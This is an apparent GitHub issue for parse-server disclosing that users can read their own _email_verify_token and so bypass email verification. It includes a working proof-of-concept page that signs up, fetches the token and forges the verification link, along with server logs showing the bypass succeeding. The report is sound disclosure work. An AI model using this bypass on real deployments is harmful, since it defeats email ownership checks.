Skip to content

Vulnerability: Email verification can be circumvented by reading _email_verify_token #3432

Closed
@haapaan

Description

@haapaan

User who has just signed up, can get his/her email verified without having to click the link in the email.

The root cause of the problem is that _email_verify_token can be read by the user.
(There is another issue #3393 where problem is that emailVerified can be written by the user.)

Steps to reproduce

  1. Set the following settings in the server.js:
    verifyUserEmails: true,
    emailVerifyTokenValidityDuration: 2 * 60 * 60,
    preventLoginWithUnverifiedEmail: true,

  2. signup, and get the _email_verify_token with /parse/users/me

  3. Fabricate email verification URL and redirect browser there

Here is sample page that does just that:
<html>
<head>
<script type="text/javascript" src="https://npmcdn.com/parse/dist/parse.js"\>\</script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"\>\</script>
<script type="text/javascript">
function signupAndFakeEmailVerification()
{
Parse.initialize('e5c10b31d8716509af3e571260aed8b571dcdec1');
Parse.serverURL = 'http://127.0.0.1:8888/parse';

    var user = new Parse.User();
    user.set("username", "hacker2");
    user.set("password", "passwd");
    user.set("email", "[email protected]");

    user.signUp(null, {
          success: function(user) {			  
             // Signup succeeded
             alert("Signup succeeded " +user);			
			
			$.ajaxSetup({
                headers : {
                'X-Parse-Application-Id' : 'e5c10b31d8716509af3e571260aed8b571dcdec1',
                'X-Parse-Session-Token' : Parse.User.current().getSessionToken()
                }
             });
			 
		     // Circumvent email verification by getting _email_verify_token
             $.getJSON('http://127.0.0.1:8888/parse/users/me', function (data) {
				window.location = 'http://127.0.0.1:8888/parse/apps/e5c10b31d8716509af3e571260aed8b571dcdec1/verify_email?token='+data._email_verify_token+'&username=hacker2';
             })
			 .error(function(jqXHR, textStatus, errorThrown) {
                  alert("error " + textStatus);
                  alert("incoming Text " + jqXHR.responseText);
             });				

			alert("new user " + newuser);			
          },
          error: function(user, error) {
            alert("Error: " + error.code + "\n\nwhat is the error \n\n " + error.message);
          }
    });   

}
</script>
</head>
<body onload="signupAndFakeEmailVerification()">
</body>
</html>

Expected Results

User is not able to read his/her _email_verify_token in step 2.

Actual Outcome

User can read his/her _email_verify_token, and thus fabricate the email verification link.
Email verification succeeds and now user has emailVerified true in the database.

Environment Setup

  • Server

    • parse-server version : 2.3.2
    • Operating System: Ubuntu 14.04.5 LTS (running on VirtualBox virtual machine)
    • Hardware: EliteBook 8470p running VirtualBox Version 5.0.30 r112061
    • Localhost or remote server?: localhost
  • Database

    • MongoDB version: v3.0.9
    • Storage engine: default
    • Hardware: EliteBook 8470p running VirtualBox Version 5.0.30 r112061
    • Localhost or remote server?: localhost

Logs/Trace

verbose: REQUEST for [POST] /parse/users: {
"username": "hacker2",
"password": "",
"email": "[email protected]"
} method=POST, url=/parse/users, host=127.0.0.1:1337, user-agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0, accept=text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8, accept-language=en-US,en;q=0.5, accept-encoding=gzip, deflate, content-type=text/plain, origin=null, x-forwarded-for=10.0.2.2, x-forwarded-host=127.0.0.1:8888, x-forwarded-server=localhost, connection=Keep-Alive, content-length=215, username=hacker2, password=
, email=[email protected]
info: beforeSave triggered for _User for user undefined:
Input: {"username":"hacker2","password":"","email":"[email protected]","ACL":{}}
Result: {"object":{"ACL":{},"username":"hacker2","password":"
","email":"[email protected]"}} className=_User, triggerType=beforeSave, user=undefined
verbose: RESPONSE from [POST] /parse/users: {
"status": 201,
"response": {
"objectId": "rkaOIgFssv",
"createdAt": "2017-01-20T14:37:28.752Z",
"ACL": {
"rkaOIgFssv": {
"read": true,
"write": true
}
},
"sessionToken": "r:01d90b5949931fa92aea0d892075253c"
},
"location": "http://127.0.0.1:8888/parse/users/rkaOIgFssv"
} status=201, objectId=rkaOIgFssv, createdAt=2017-01-20T14:37:28.752Z, read=true, write=true, sessionToken=r:01d90b5949931fa92aea0d892075253c, location=http://127.0.0.1:8888/parse/users/rkaOIgFssv
verbose: REQUEST for [GET] /parse/users/me: {} method=GET, url=/parse/users/me, host=127.0.0.1:1337, user-agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0, accept=application/json, text/javascript, /; q=0.01, accept-language=en-US,en;q=0.5, accept-encoding=gzip, deflate, x-parse-application-id=e5c10b31d8716509af3e571260aed8b571dcdec1, x-parse-session-token=r:01d90b5949931fa92aea0d892075253c, origin=null, x-forwarded-for=10.0.2.2, x-forwarded-host=127.0.0.1:8888, x-forwarded-server=localhost, connection=Keep-Alive,
verbose: RESPONSE from [GET] /parse/users/me: {
"response": {
"username": "hacker2",
"createdAt": "2017-01-20T14:37:28.752Z",
"emailVerified": false,
"email": "[email protected]",
"updatedAt": "2017-01-20T14:37:28.752Z",
"objectId": "rkaOIgFssv",
"_email_verify_token_expires_at": {
"__type": "Date",
"iso": "2017-01-20T16:37:28.858Z"
},
"_email_verify_token": "s86MRoputHM3CAn7CWGDukPlM",
"ACL": {
"rkaOIgFssv": {
"read": true,
"write": true
}
},
"__type": "Object",
"className": "_User",
"sessionToken": "r:01d90b5949931fa92aea0d892075253c"
}
} username=hacker2, createdAt=2017-01-20T14:37:28.752Z, emailVerified=false, email=[email protected], updatedAt=2017-01-20T14:37:28.752Z, objectId=rkaOIgFssv, __type=Date, iso=2017-01-20T16:37:28.858Z, _email_verify_token=s86MRoputHM3CAn7CWGDukPlM, read=true, write=true, __type=Object, className=_User, sessionToken=r:01d90b5949931fa92aea0d892075253c
verbose: REQUEST for [GET] /parse/apps/e5c10b31d8716509af3e571260aed8b571dcdec1/verify_email?token=s86MRoputHM3CAn7CWGDukPlM&username=hacker2: {} method=GET, url=/parse/apps/e5c10b31d8716509af3e571260aed8b571dcdec1/verify_email?token=s86MRoputHM3CAn7CWGDukPlM&username=hacker2, host=127.0.0.1:1337, user-agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0, accept=text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8, accept-language=en-US,en;q=0.5, accept-encoding=gzip, deflate, upgrade-insecure-requests=1, x-forwarded-for=10.0.2.2, x-forwarded-host=127.0.0.1:8888, x-forwarded-server=localhost, connection=Keep-Alive,
verbose: RESPONSE from [GET] /parse/apps/e5c10b31d8716509af3e571260aed8b571dcdec1/verify_email?token=s86MRoputHM3CAn7CWGDukPlM&username=hacker2: {
"status": 302,
"location": "http://127.0.0.1:8888/parse/apps/verify_email_success.html?username=hacker2"
} status=302, location=http://127.0.0.1:8888/parse/apps/verify_email_success.html?username=hacker2

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions